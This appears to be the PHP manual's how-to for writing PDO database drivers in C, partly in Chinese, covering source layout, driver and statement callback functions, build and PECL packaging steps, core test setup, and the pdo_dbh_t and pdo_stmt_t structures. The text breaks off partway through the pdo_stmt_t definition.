    3. Win32: Visual Studio编译器套件;

  3. PHP 5.0.3版本或更高的版本运行环境和PEAR 1.3.5版本或更高的版本扩展;

  4. PDO 运行环境(可以使用'sudo pecl 进行安装')，包含需要访问 PDO 类型定义和函数声明的头信息;

  5. 良好的C编程语言知识;

  6. 良好的PHP扩展编写知识; 推荐阅读 George Schlossnagle 的 PHP 高级编程（21和22章由开发人员图书馆出版）;

  7. 最后，熟悉构成特别关注内存管理方面的 PHP 的核心的 Zend API.

User Contributed Notes

There are no user contributed notes for this page.


配置与管理

源目录布局

一个典型的 PDO 驱动程序源目录布局如下所示，其中 SKEL 表示该驱动程序要连接到的数据库的名称的缩写形式。

pdo_SKEL/
  config.m4                  # unix 构建脚本
  config.w32                 # win32 构建脚本
  CREDITS
  package.xml                # 有关包的元信息
  pdo_SKEL.c                 # 标准 PHP 扩展
  php_pdo_SKEL.h
  php_pdo_SKEL_int.h         # 驱动程序私有头文件
  SKEL_dbh.c                 # 包含 PDO 的驱动程序接口的实现
  SKEL_stmt.c                # 包含 PDO 声明接口的实现
  tests/

稍后在本文档中阐述这些文件的内容。

创建一个基本框架

最简单的方法就是使用 PHP 目录树中的 ext 目录下的 ext_skel Shell 脚本。这将生成包含很多上面列出的文件的基本框架目录。通过执行下面命令来完成:

./ext_skel --extname=pdo_SKEL

这将生成一个名为pdo_SKEL包含基本框架文件的目录，目录名称可以自定义。该目录可以移动到PHP扩展目录之外。PDO 是 PECL 的一个扩展，不应该包括在标准扩展目录中。只要你有过PHP和PDO的安装，你就会想到从其它目录创建。

标准包含文件

创建特定头文件

头文件 congfig.h 是由配置进程根据系统平台及其使用的驱动自动生成的。如果该头文件存在，HAVE_CONFIG_H 编译器变量将被设置。此变量应测试，如果设置，该文件的config.h应该被包含在编译单元内。

PHP 头文件

以下标准的公共的 PHP 头文件应包括在每个源模块中：

  1. php.h

  2. php_ini.h

  3. ext/standard/info.h

PDO 接口头文件

以下标准的公共的 PDO 头文件也应该包括在每个源模块中：

pdo/php_pdo.h

该头文件包含了主驱动中初始值和关闭功能的定心及PDO全局变量的定义。

pdo/php_pdo_driver.h

该头文件包含了用来编写PDO驱动程序的类型和API。它还包含了调用返回到PDO层的方法签名和注册/注销PDO驱动程序。最重要的是，此头文件包含 PDO 的数据库句柄和语句的类型定义。驱动程序处理的两种主要结构 pdo_dbh_t 和 pdo_stmt_t，更详细的描述请查阅附录 A 和 B。

驱动程序特定的头文件

典型的PDO的驱动程序有两个特定于数据库实现头文件。这并不排除使用上更多的取决于实现。按照惯例，下面列举了这两个头文件:

php_pdo_SKEL.h

这实际上是一个功能与内容和前面定义的专门为您的数据库定制的pdo/php_pdo.h完全相同的头文件。如果你的驱动程序需要使用全局变量，那么他们应使用ZEND_BEGIN_MODULE_GLOBALS 和 ZEND_END_MODULE_GLOBALS宏来定义。 然后用宏来访问这些变量。这些宏通常被命名为PDO_SKEL_G(v)，其中v表示被访问的全局变量。更多信息，请查阅Zend programmer文档。

php_pdo_SKEL_int.h

该头文件通常包括特定于驱动程序实现的类型定义和函数申明。此外，它还包含pdo_SKEL_handle 和 pdo_SKEL_stmt结构中DB的具体定义。这些都是被driver_data所引用的句柄和语句结构成员的私有数据结构。

可选头文件

根据实际情况，一个特定的驱动程序可能需要包括下面头文件:

#include <zend_exceptions.h>

User Contributed Notes

There are no user contributed notes for this page.


Fleshing out your skeleton

Major Structures and Attributes

The major structures, pdo_dbh_t and pdo_stmt_t are defined and explained in Appendix A and B respectively. Database and Statement attributes are defined in Appendix C. Error handling is explained in Appendix D.

pdo_SKEL.c: PHP extension glue

function entries

static function_entry pdo_SKEL_functions[] = {
  { NULL, NULL, NULL }
};

This structure is used to register functions into the global php function namespace. PDO drivers should try to avoid doing this, so it is recommended that you leave this structure initialized to NULL, as shown in the synopsis above.

Module entry

/* {{{ pdo_SKEL_module_entry */
#if ZEND_EXTENSION_API_NO >= 220050617
static zend_module_dep pdo_SKEL_deps[] = {
    ZEND_MOD_REQUIRED("pdo")
    {NULL, NULL, NULL}
};
#endif
/* }}} */

zend_module_entry pdo_SKEL_module_entry = {
#if ZEND_EXTENSION_API_NO >= 220050617
    STANDARD_MODULE_HEADER_EX, NULL,
    pdo_SKEL_deps,
#else
    STANDARD_MODULE_HEADER,
#endif
    "pdo_SKEL",
    pdo_SKEL_functions,
    PHP_MINIT(pdo_SKEL),
    PHP_MSHUTDOWN(pdo_SKEL),
    NULL,
    NULL,
    PHP_MINFO(pdo_SKEL),
    PHP_PDO_<DB>_MODULE_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_PDO_<DB>
ZEND_GET_MODULE(pdo_db)
#endif

A structure of type zend_module_entry called pdo_SKEL_module_entry must be declared and should include reference to the pdo_SKEL_functions table defined previously.

Standard PHP Module Extension Functions

PHP_MINIT_FUNCTION
/* {{{ PHP_MINIT_FUNCTION */
PHP_MINIT_FUNCTION(pdo_SKEL)
{
    return php_pdo_register_driver(&pdo_SKEL_driver);
}
/* }}} */

This standard PHP extension function should be used to register your driver with the PDO layer. This is done by calling the php_pdo_register_driver() function passing a pointer to a structure of type pdo_driver_t typically named pdo_SKEL_driver. A pdo_driver_t contains a header that is generated using the PDO_DRIVER_HEADER(SKEL) macro and pdo_SKEL_handle_factory() function pointer. The actual function is described during the discussion of the SKEL_dbh.c unit.

PHP_MSHUTDOWN_FUNCTION
/* {{{ PHP_MSHUTDOWN_FUNCTION */
PHP_MSHUTDOWN_FUNCTION(pdo_SKEL)
{
    php_pdo_unregister_driver(&pdo_SKEL_driver);
    return SUCCESS;
}
/* }}} */

This standard PHP extension function is used to unregister your driver from the PDO layer. This is done by calling the php_pdo_unregister_driver() function, passing the same pdo_SKEL_driver structure that was passed in the init function above.

PHP_MINFO_FUNCTION

This is again a standard PHP extension function. Its purpose is to display information regarding the module when the phpinfo() is called from a script. The convention is to display the version of the module and also what version of the db you are dependent on, along with any other configuration style information that might be relevant.

SKEL_driver.c: Driver implementation

This unit implements all of the database handling methods that support the PDO database handle object. It also contains the error fetching routines. All of these functions will typically need to access the global variable pool. Therefore, it is necessary to use the Zend macro TSRMLS_DC macro at the end of each of these statements. Consult the Zend programmer documentation for more information on this macro.

pdo_SKEL_error

static int pdo_SKEL_error(pdo_dbh_t *dbh,
  pdo_stmt_t *stmt, const char *file, int line TSRMLS_DC)

The purpose of this function is to be used as a generic error handling function within the driver. It is called by the driver when an error occurs within the driver. If an error occurs that is not related to SQLSTATE, the driver should set either dbh->error_code or stmt->error_code to an SQLSTATE that most closely matches the error or the generic SQLSTATE error HY000. The file pdo_sqlstate.c in the PDO source contains a table of commonly used SQLSTATE codes that the PDO code explicitly recognizes. This setting of the error code should be done prior to calling this function.; This function should set the global pdo_err variable to the error found in either the dbh or the stmt (if the variable stmt is not NULL).

dbh

Pointer to the database handle initialized by the handle factory

stmt

Pointer to the current statement or NULL. If NULL, the error is derived by error code found in the dbh.

file

The source file where the error occurred or NULL if not available.

line

The line number within the source file if available.

If the dbh member methods is NULL (which implies that the error is being raised from within the PDO constructor), this function should call the zend_throw_exception_ex() function otherwise it should return the error code. This function is usually called using a helper macro that customizes the calling sequence for either database handling errors or statement handling errors.

Example #1 Example macros for invoking pdo_SKEL_error

#define pdo_SKEL_drv_error(what) \
    pdo_SKEL_error(dbh, NULL, what, __FILE__, __LINE__ TSRMLS_CC)
#define pdo_SKEL_drv_error(what) \
    pdo_SKEL_error(dbh, NULL, what, __FILE__, __LINE__ TSRMLS_CC)

For more info on error handling, see Error handling.

Note:

Despite being documented here, the PDO driver interface does not specify that this function be present; it is merely a convenient way to handle errors, and it just happens to be equally convenient for the majority of database client library APIs to structure your driver implementation in this way.

pdo_SKEL_fetch_error_func

static int pdo_SKEL_fetch_error_func(pdo_dbh_t *dbh, pdo_stmt_t *stmt,
    zval *info TSRMLS_DC)

The purpose of this function is to obtain additional information about the last error that was triggered. This includes the driver specific error code and a human readable string. It may also include additional information if appropriate. This function is called as a result of the PHP script calling the PDO::errorInfo() method.

dbh

Pointer to the database handle initialized by the handle factory

stmt

Pointer to the most current statement or NULL. If NULL, the error translated is derived by error code found in the dbh.

info

A hash table containing error codes and messages.

The error_func should return two pieces of information as successive array elements. The first item is expected to be a numeric error code, the second item is a descriptive string. The best way to set this item is by using add_next_index. Note that the type of the first argument need not be long; use whichever type most closely matches the error code returned by the underlying database API.

/* now add the error information. */
/* These need to be added in a specific order */
add_next_index_long(info, error_code);   /* driver specific error code */
add_next_index_string(info, message, 0); /* readable error message */

This function should return 1 if information is available, 0 if the driver does not have additional info.

SKEL_handle_closer

static int SKEL_handle_closer(pdo_dbh_t *dbh TSRMLS_DC)

This function will be called by PDO to close an open database.

dbh

Pointer to the database handle initialized by the handle factory

This should do whatever database specific activity that needs to be accomplished to close the open database. PDO ignores the return value from this function.

SKEL_handle_preparer

static int SKEL_handle_preparer(pdo_dbh_t *dbh, const char *sql,
long sql_len, pdo_stmt_t *stmt, zval *driver_options TSRMLS_DC)

This function will be called by PDO in response to PDO::query() and PDO::prepare() calls from the PHP script. The purpose of the function is to prepare raw SQL for execution, storing whatever state is appropriate into the stmt that is passed in.

dbh

Pointer to the database handle initialized by the handle factory

sql

Pointer to a character string containing the SQL statement to be prepared.

sql_len

The length of the SQL statement.

Stmt

Pointer to the returned statement or NULL if an error occurs.

driver_options

Any driver specific/defined options.

This function is essentially the constructor for a stmt object. This function is responsible for processing statement options, and setting driver-specific option fields in the pdo_stmt_t structure.

PDO does not process any statement options on the driver's behalf before calling the preparer function. It is your responsibility to process them before you return, raising an error for any unknown options that are passed.

One very important responsibility of this function is the processing of SQL statement parameters. At the time of this call, PDO does not know if your driver supports binding parameters into prepared statements, nor does it know if it supports named or positional parameter naming conventions.

Your driver is responsible for setting stmt->supports_placeholders as appropriate for the underlying database. This may involve some run-time determination on the part of your driver, if this setting depends on the version of the database server to which it is connected. If your driver doesn't directly support both named and positional parameter conventions, you should use the pdo_parse_params() API to have PDO rewrite the query to take advantage of the support provided by your database.

Example #2 Using pdo_parse_params

int ret;
    char *nsql = NULL;
    int nsql_len = 0;

    /* before we prepare, we need to peek at the query; if it uses named parameters,
     * we want PDO to rewrite them for us */
    stmt->supports_placeholders = PDO_PLACEHOLDER_POSITIONAL;
    ret = pdo_parse_params(stmt, (char*)sql, sql_len, &nsql, &nsql_len TSRMLS_CC);

    if (ret == 1) {
        /* query was re-written */
        sql = nsql;
    } else if (ret == -1) {
        /* couldn't grok it */
        strcpy(dbh->error_code, stmt->error_code);
        return 0;
    }

    /* now proceed to prepare the query in "sql" */

Possible values for supports_placeholders are: PDO_PLACEHOLDER_NAMED, PDO_PLACEHOLDER_POSITIONAL and PDO_PLACEHOLDER_NONE. If the driver doesn't support prepare statements at all, then this function should simply allocate any state that it might need, and then return:

Example #3 Implementing preparer for drivers that don't support native prepared statements

static int SKEL_handle_preparer(pdo_dbh_t *dbh, const char *sql,
    long sql_len, pdo_stmt_t *stmt, zval *driver_options TSRMLS_DC)
{
    pdo_SKEL_db_handle *H = (pdo_SKEL_db_handle *)dbh->driver_data;
    pdo_SKEL_stmt *S = ecalloc(1, sizeof(pdo_SKEL_stmt));

    S->H = H;
    stmt->driver_data = S;
    stmt->methods = &SKEL_stmt_methods;
    stmt->supports_placeholders = PDO_PLACEHOLDER_NONE;

    return 1;
}

This function returns 1 on success or 0 on failure.

SKEL_handle_doer

static long SKEL_handle_doer(pdo_dbh_t *dbh, const char *sql, long sql_len TSRMLS_DC)

This function will be called by PDO to execute a raw SQL statement. No pdo_stmt_t is created.

dbh

Pointer to the database handle initialized by the handle factory

sql

Pointer to a character string containing the SQL statement to be prepared.

sql_len

The length of the SQL statement.

This function returns 1 on success or 0 on failure.

SKEL_handle_quoter

static int SKEL_handle_quoter(pdo_dbh_t *dbh, const char *unquoted,
  int unquoted_len, char **quoted, int quoted_len, enum pdo_param_type param_type TSRMLS_DC)

This function will be called by PDO to turn an unquoted string into a quoted string for use in a query.

dbh

Pointer to the database handle initialized by the handle factory

unquoted

Pointer to a character string containing the string to be quoted.

unquoted_len

The length of the string to be quoted.

quoted

Pointer to the address where a pointer to the newly quoted string will be returned.

quoted_len

The length of the new string.

param_type

A driver specific hint for driver that have alternate quoting styles

This function is called in response to a call to PDO::quote() or when the driver has set supports_placeholder to PDO_PLACEHOLDER_NONE. The purpose is to quote a parameter when building SQL statements.

If your driver does not support native prepared statements, implementation of this function is required.

This function returns 1 if the quoting process reformatted the string, and 0 if it was not necessary to change the string. The original string will be used unchanged with a 0 return.

SKEL_handle_begin

static int SKEL_handle_begin(pdo_dbh_t *dbh TSRMLS_DC)

This function will be called by PDO to begin a database transaction.

dbh

Pointer to the database handle initialized by the handle factory

This should do whatever database specific activity that needs to be accomplished to begin a transaction. This function returns 1 for success or 0 if an error occurred.

SKEL_handle_commit

static int SKEL_handle_commit(pdo_dbh_t *dbh TSRMLS_DC)

This function will be called by PDO to end a database transaction.

dbh

Pointer to the database handle initialized by the handle factory

This should do whatever database specific activity that needs to be accomplished to commit a transaction. This function returns 1 for success or 0 if an error occurred.

SKEL_handle_rollback

static int SKEL_handle_rollback( pdo_dbh_t *dbh TSRMLS_DC)

This function will be called by PDO to rollback a database transaction.

dbh

Pointer to the database handle initialized by the handle factory

This should do whatever database specific activity that needs to be accomplished to rollback a transaction. This function returns 1 for success or 0 if an error occurred.

SKEL_handle_get_attribute

static int SKEL_handle_get_attribute(pdo_dbh_t *dbh, long attr, zval *return_value TSRMLS_DC)

This function will be called by PDO to retrieve a database attribute.

dbh

Pointer to the database handle initialized by the handle factory

attr

long value of one of the PDO_ATTR_xxxx types. See Database and Statement Attributes Table for valid attributes.

return_value

The returned value for the attribute.

It is up to the driver to decide which attributes will be supported for a particular implementation. It is not necessary for a driver to supply this function. PDO driver handles the PDO_ATTR_PERSISTENT, PDO_ATTR_CASE, PDO_ATTR_ORACLE_NULLS, and PDO_ATTR_ERRMODE attributes directly.

This function returns 1 on success or 0 on failure.

SKEL_handle_set_attribute

static int SKEL_handle_set_attribute(pdo_dbh_t *dbh, long attr, zval *val TSRMLS_DC)

This function will be called by PDO to set a database attribute, usually in response to a script calling PDO::setAttribute().

dbh

Pointer to the database handle initialized by the handle factory

attr

long value of one of the PDO_ATTR_xxxx types. See Database and Statement Attributes Table for valid attributes.

val

The new value for the attribute.

It is up to the driver to decide which attributes will be supported for a particular implementation. It is not necessary for a driver to provide this function if it does not need to support additional attributes. The PDO driver handles the PDO_ATTR_CASE, PDO_ATTR_ORACLE_NULLS, and PDO_ATTR_ERRMODE attributes directly.

This function returns 1 on success or 0 on failure.

SKEL_handle_last_id

static char * SKEL_handle_last_id(pdo_dbh_t *dbh, const char *name, unsigned int len TSRMLS_DC)

This function will be called by PDO to retrieve the ID of the last inserted row.

dbh

Pointer to the database handle initialized by the handle factory

name

string representing a table or sequence name.

len

the length of the name parameter.

This function returns a character string containing the id of the last inserted row on success or NULL on failure. This is an optional function.

SKEL_check_liveness

static int SKEL_check_liveness(pdo_dbh_t *dbh TSRMLS_DC)

This function will be called by PDO to test whether or not a persistent connection to a database is alive and ready for use.

dbh

Pointer to the database handle initialized by the handle factory

This function returns 1 if the database connection is alive and ready for use, otherwise it should return 0 to indicate failure or lack of support.

Note:

This is an optional function.

SKEL_get_driver_methods

static function_entry *SKEL_get_driver_methods(pdo_dbh_t *dbh, int kind TSRMLS_DC)

This function will be called by PDO in response to a call to any method that is not a part of either the PDO or PDOStatement classes. It's purpose is to allow the driver to provide additional driver specific methods to those classes.

dbh

Pointer to the database handle initialized by the handle factory

kind

One of the following:

PDO_DBH_DRIVER_METHOD_KIND_DBH

Set when the method call was attempted on an instance of the PDO class. The driver should return a pointer a function_entry table for any methods it wants to add to that class, or NULL if there are none.

PDO_DBH_DRIVER_METHOD_KIND_STMT

Set when the method call was attempted on an instance of the PDOStatement class. The driver should return a pointer to a function_entry table for any methods it wants to add to that class, or NULL if there are none.

This function returns a pointer to the function_entry table requested, or NULL there are no driver specific methods.

SKEL_handle_factory

static int SKEL_handle_factory(pdo_dbh_t *dbh, zval *driver_options TSRMLS_DC)

This function will be called by PDO to create a database handle. For most databases this involves establishing a connection to the database. In some cases, a persistent connection may be requested, in other cases connection pooling may be requested. All of these are database/driver dependent.

dbh

Pointer to the database handle initialized by the handle factory

driver_options

An array of driver options, keyed by integer option number. See Database and Statement Attributes Table for a list of possible attributes.

This function should fill in the passed database handle structure with its driver specific information on success and return 1, otherwise it should return 0 to indicate failure.

PDO processes the AUTOCOMMIT and PERSISTENT driver options before calling the handle_factory. It is the handle factory's responsibility to process other options.

Driver method table

A static structure of type pdo_dbh_methods named SKEL_methods must be declared and initialized to the function pointers for each defined function. If a function is not supported or not implemented the value for that function pointer should be set to NULL.

pdo_SKEL_driver

A structure of type pdo_driver_t named pdo_SKEL_driver should be declared. The PDO_DRIVER_HEADER(SKEL) macro should be used to declare the header and the function pointer to the handle factory function should set.

SKEL_statement.c: Statement implementation

This unit implements all of the database statement handling methods that support the PDO statement object.

SKEL_stmt_dtor

static int SKEL_stmt_dtor(pdo_stmt_t *stmt TSRMLS_DC)

This function will be called by PDO to destroy a previously constructed statement object.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

This should do whatever is necessary to free up any driver specific storage allocated for the statement. The return value from this function is ignored.

SKEL_stmt_execute

static int SKEL_stmt_execute(pdo_stmt_t *stmt TSRMLS_DC)

This function will be called by PDO to execute the prepared SQL statement in the passed statement object.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

This function returns 1 for success or 0 in the event of failure.

SKEL_stmt_fetch

static int SKEL_stmt_fetch(pdo_stmt_t *stmt, enum pdo_fetch_orientation ori,
   long offset TSRMLS_DC)

This function will be called by PDO to fetch a row from a previously executed statement object.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

ori

One of PDO_FETCH_ORI_xxx which will determine which row will be fetched.

offset

If ori is set to PDO_FETCH_ORI_ABS or PDO_FETCH_ORI_REL, offset represents the row desired or the row relative to the current position, respectively. Otherwise, this value is ignored.

The results of this fetch are driver dependent and the data is usually stored in the driver_data member of the pdo_stmt_t object. The ori and offset parameters are only meaningful if the statement represents a scrollable cursor. This function returns 1 for success or 0 in the event of failure.

SKEL_stmt_param_hook

static int SKEL_stmt_param_hook(pdo_stmt_t *stmt,
  struct pdo_bound_param_data *param, enum pdo_param_event event_type TSRMLS_DC)

This function will be called by PDO for handling of both bound parameters and bound columns.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

param

The structure describing either a statement parameter or a bound column.

event_type

The type of event to occur for this parameter, one of the following:

PDO_PARAM_EVT_ALLOC

Called when PDO allocates the binding. Occurs as part of PDOStatement::bindParam(), PDOStatement::bindValue() or as part of an implicit bind when calling PDOStatement::execute(). This is your opportunity to take some action at this point; drivers that implement native prepared statements will typically want to query the parameter information, reconcile the type with that requested by the script, allocate an appropriately sized buffer and then bind the parameter to that buffer. You should not rely on the type or value of the zval at param->parameter at this point in time.

PDO_PARAM_EVT_FREE

Called once per parameter as part of cleanup. You should release any resources associated with that parameter now.

PDO_PARAM_EXEC_PRE

Called once for each parameter immediately before calling SKEL_stmt_execute; take this opportunity to make any final adjustments ready for execution. In particular, you should note that variables bound via PDOStatement::bindParam() are only legal to touch now, and not any sooner.

PDO_PARAM_EXEC_POST

Called once for each parameter immediately after calling SKEL_stmt_execute; take this opportunity to make any post-execution actions that might be required by your driver.

PDO_PARAM_FETCH_PRE

Called once for each parameter immediately prior to calling SKEL_stmt_fetch.

PDO_PARAM_FETCH_POST

Called once for each parameter immediately after calling SKEL_stmt_fetch.

This hook will be called for each bound parameter and bound column in the statement. For ALLOC and FREE events, a single call will be made for each parameter or column. The param structure contains a driver_data field that the driver can use to store implementation specific information about each of the parameters.

For all other events, PDO may call you multiple times as the script issues PDOStatement::execute() and PDOStatement::fetch() calls.

If this is a bound parameter, the is_param flag in the param structure is set, otherwise the param structure refers to a bound column.

This function returns 1 for success or 0 in the event of failure.

SKEL_stmt_describe_col

static int SKEL_stmt_describe_col(pdo_stmt_t *stmt, int colno TSRMLS_DC)

This function will be called by PDO to query information about a particular column.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

colno

The column number to be queried.

The driver should populate the pdo_stmt_t member columns(colno) with the appropriate information. This function returns 1 for success or 0 in the event of failure.

SKEL_stmt_get_col_data

static int SKEL_stmt_get_col_data(pdo_stmt_t *stmt, int colno,
  char **ptr, unsigned long *len, int *caller_frees TSRMLS_DC)

This function will be called by PDO to retrieve data from the specified column.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

colno

The column number to be queried.

ptr

Pointer to the retrieved data.

len

The length of the data pointed to by ptr.

caller_frees

If set, ptr should point to emalloc'd memory and the main PDO driver will free it as soon as it is done with it. Otherwise, it will be the responsibility of the driver to free any allocated memory as a result of this call.

The driver should return the resultant data and length of that data in the ptr and len variables respectively. It should be noted that the main PDO driver expects the driver to manage the lifetime of the data. This function returns 1 for success or 0 in the event of failure.

SKEL_stmt_set_attr

static int SKEL_stmt_set_attr(pdo_stmt_t *stmt, long attr, zval *val TSRMLS_DC)

This function will be called by PDO to allow the setting of driver specific attributes for a statement object.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

attr

long value of one of the PDO_ATTR_xxxx types. See Database and Statement Attributes Table for valid attributes.

val

The new value for the attribute.

This function is driver dependent and allows the driver the capability to set database specific attributes for a statement. This function returns 1 for success or 0 in the event of failure. This is an optional function. If the driver does not support additional settable attributes, it can be NULLed in the method table. The PDO driver does not handle any settable attributes on the database driver's behalf.

SKEL_stmt_get_attr

static int SKEL_stmt_get_attr(pdo_stmt_t *stmt, long attr, zval
   *return_value TSRMLS_DC)

This function will be called by PDO to allow the retrieval of driver specific attributes for a statement object.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

attr

long value of one of the PDO_ATTR_xxxx types. See Database and Statement Attributes Table for valid attributes.

return_value

The returned value for the attribute.

This function is driver dependent and allows the driver the capability to retrieve a previously set database specific attribute for a statement. This function returns 1 for success or 0 in the event of failure. This is an optional function. If the driver does not support additional gettable attributes, it can be NULLed in the method table. The PDO driver does not handle any settable attributes on the database driver's behalf.

SKEL_stmt_get_col_meta

static int SKEL_stmt_get_col_meta(pdo_stmt_t *stmt, int colno,
   zval *return_value TSRMLS_DC)
Warning

This function is not well defined and is subject to change.

This function will be called by PDO to retrieve meta data from the specified column.

stmt

Pointer to the statement structure initialized by SKEL_handle_preparer.

colno

The column number for which data is to be retrieved.

return_value

Holds the returned meta data.

The driver author should consult the documentation for this function that can be found in the php_pdo_driver.h header as this will be the most current. This function returns 1 for success or 0 in the event of failure. The database driver does not need to provide this function.

Statement handling method table

A static structure of type pdo_stmt_methods named SKEL_stmt_methods should be declared and initialized to the function pointers for each defined function. If a function is not supported or not implemented the value for that function pointer should be set to NULL.

User Contributed Notes

There are no user contributed notes for this page.


Building

The build process is designed to work with PEAR (see » https://pear.php.net/ for more information about PEAR). There are two files that are used to assist in configuring your package for building. The first is config.m4 which is the autoconf configuration file for all platforms except Win32. The second is config.w32 which is a build configuration file for use on Win32. Skeleton files for these are built for you when you first set up your project. You then need to customize them to fit the needs of your project. Once you've customized your config files, you can build your driver using the following sequence of commands:

Before first build:

$ sudo pecl install PDO

For each build:

$ cd pdo_SKEL
$ phpize
$ ./configure
$ make
$ sudo make install

The process can then be repeated as necessary during the development process.

User Contributed Notes

There are no user contributed notes for this page.


Testing

PDO has a set of "core" tests that all drivers should pass before being released. They're designed to run from the PHP source distribution, so running the tests for your driver requires moving things around a bit. The suggested procedure is to obtain the latest PHP 5.1 snapshot and perform the following step:

$ cp -r pdo_SKEL /path/to/php-5.1/ext

This will allow the test harness to run your tests. The next thing you need to do is create a test that will redirect into the PDO common core tests. The convention is to name this file common.phpt; it should be placed in the tests subdirectory that was created by ext_skel when you created your extension skeleton. The content of this file should look something like the following:

--TEST--
SKEL
--SKIPIF--
<?php # vim:ft=php
if (!extension_loaded('pdo_SKEL')) print 'skip'; ?>
--REDIRECTTEST--
if (false !== getenv('PDO_SKEL_TEST_DSN')) {
# user set them from their shell
   $config['ENV']['PDOTEST_DSN'] = getenv('PDO_SKEL_TEST_DSN');
   $config['ENV']['PDOTEST_USER'] = getenv('PDO_SKEL_TEST_USER');
   $config['ENV']['PDOTEST_PASS'] = getenv('PDO_SKEL_TEST_PASS');
   if (false !== getenv('PDO_SKEL_TEST_ATTR')) {
      $config['ENV']['PDOTEST_ATTR'] = getenv('PDO_SKEL_TEST_ATTR');
   }
   return $config;
}
return array(
   'ENV' => array(
           'PDOTEST_DSN' => 'SKEL:dsn',
           'PDOTEST_USER' => 'username',
           'PDOTEST_PASS' => 'password'
       ),
   'TESTS' => 'ext/pdo/tests'
   );

This will cause the common core tests to be run, passing the values of PDOTEST_DSN, PDOTEST_USER and PDOTEST_PASS to the PDO constructor as the dsn, username and password parameters. It will first check the environment, so that appropriate values can be passed in when the test harness is run, rather than hard-coding the database credentials into the test file.

The test harness can be invoked as follows:

$ cd /path/to/php-5.1
$ make TESTS=ext/pdo_SKEL/tests PDO_SKEL_TEST_DSN="skel:dsn" \
 PDO_SKEL_TEST_USER=user PDO_SKEL_TEST_PASS=pass test

User Contributed Notes

There are no user contributed notes for this page.


Packaging and distribution

Creating a package

PDO drivers are released via PECL; all the usual rules for PECL extensions apply. Packaging is accomplished by creating a valid package.xml file and then running:

$ pecl package

This will create a tarball named PDO_SKEL-X.Y.Z.tgz.

Before releasing the package, you should test that it builds correctly; if you've made a mistake in your config.m4 or package.xml files, the package may not function correctly. You can test the build, without installing anything, using the following invocation:

$ pecl build package.xml

Once this is proven to work, you can test installation:

$ pecl package
$ sudo pecl install PDO_SKEL-X.Y.X.tgz

Full details about package.xml can be found in the PEAR Programmer's documentation (» https://pear.php.net/manual/).

Releasing the package

A PDO driver is released via the PHP Extension Community Library (PECL). Information about PECL can be found at » https://pecl.php.net/.

User Contributed Notes

There are no user contributed notes for this page.


pdo_dbh_t definition

All fields should be treated as read-only by the driver, unless explicitly stated otherwise.

pdo_dbh_t

/* represents a connection to a database */
struct _pdo_dbh_t {
    /* driver specific methods */
    struct pdo_dbh_methods *methods;
*
/* driver specific data */
    void *driver_data;
**
/* credentials */
    char *username, *password;
***
/* if true, then data stored and pointed at by this handle must all be
     * persistently allocated */
    unsigned is_persistent:1;
****
/* if true, driver should act as though a COMMIT were executed between
     * each executed statement; otherwise, COMMIT must be carried out manually
     * */
    unsigned auto_commit:1;
*****
/* if true, the driver requires that memory be allocated explicitly for
     * the columns that are returned */
    unsigned alloc_own_columns:1;
******
/* if true, commit or rollBack is allowed to be called */
    unsigned in_txn:1;

    /* max length a single character can become after correct quoting */
    unsigned max_escaped_char_length:3;
*******
/* data source string used to open this handle */
    const char *data_source;
********
unsigned long data_source_len;

    /* the global error code. */
    pdo_error_type error_code;
*********
enum pdo_case_conversion native_case
**********
, desired_case;
};
*

The driver must set this during SKEL_handle_factory().

**

This item is for use by the driver; the intended usage is to store a pointer (during SKEL_handle_factory()) to whatever instance data is required to maintain a connection to the database.

***

The username and password that were passed into the PDO constructor. The driver should use these values when it initiates a connection to the database.

****

If this is set to 1, then any data that is referenced by the dbh, including whatever structure your driver allocates, MUST be allocated persistently. This is easy to achieve; rather than using the usual emalloc() simply use pemalloc() and pass the value of this flag as the last parameter. Failure to use the appropriate kind of memory can lead to serious memory faults, resulting (in the best case) a hard crash, and in the worst case, an exploitable memory problem.

If, for whatever reason, your driver is not suitable to run persistently, you MUST check this flag in your SKEL_handle_factory() and raise an appropriate error.

*****

You should check this value in your SKEL_handle_doer() and SKEL_stmt_execute() functions; if it evaluates to true, you must attempt to commit the query now. Most database implementations offer an auto-commit mode that handles this automatically.

******

If your database client library API operates by fetching data into a caller-supplied buffer, you should set this flag to 1 during your SKEL_handle_factory(). When set, PDO will call your SKEL_stmt_describer() earlier than it would otherwise. This early call allows you to determine those buffer sizes and issue appropriate calls to the database client library.

If your database client library API simply returns pointers to its own internal buffers for you to copy after each fetch call, you should leave this value set to 0.

*******

If your driver doesn't support native prepared statements (supports_placeholders is set to PDO_PLACEHOLDER_NONE), you must set this value to the maximum length that can be taken up by a single character when it is quoted by your SKEL_handle_quoter() function. This value is used to calculate the amount of buffer space required when PDO executes the statement.

********

This holds the value of the DSN that was passed into the PDO constructor. If your driver implementation needed to modify the DSN for whatever reason, it should update this member during SKEL_handle_factory(). Modifying this member should be avoided. If you do change it, you must ensure that data_source_len is also correct.

*********

Whenever an error occurs during a call to one of your driver methods, you should set this member to the SQLSTATE code that best describes the error and return an error. In this HOW-TO, the suggested practice is to call SKEL_handle_error() when an error is detected, and have it set the error code.

**********

Your driver should set this during SKEL_handle_factory(); the value should reflect how the database returns the names of the columns in result sets. If the name matches the case that was used in the query, set it to PDO_CASE_NATURAL (this is actually the default). If the column names are always returned in upper case, set it to PDO_CASE_UPPER. If the column names are always returned in lower case, set it to PDO_CASE_LOWER. The value you set is used to determine if PDO should perform case folding when the user sets the PDO_ATTR_CASE attribute.

User Contributed Notes

There are no user contributed notes for this page.


pdo_stmt_t definition

All fields should be treated as read-only unless explicitly stated otherwise.

pdo_stmt_t

/* represents a prepared statement */
struct _pdo_stmt_t {
    /* driver specifics */
    struct pdo_stmt_methods *methods;
*
void *driver_data;
**
/* if true, we've already successfully executed this statement at least
     * once */
    unsigned executed:1;
***
/* if true, the statement supports placeholders and can implement
     * bindParam() for its prepared statements, if false, PDO should
     * emulate prepare and bind on its behalf */
    unsigned supports_placeholders:2;
****
/* the number of columns in the result set; not valid until after
     * the statement has been executed at least once.  In some cases, might
     * not be valid until fetch (at the driver level) has been called at least once.
     * */
    int column_count;
*****
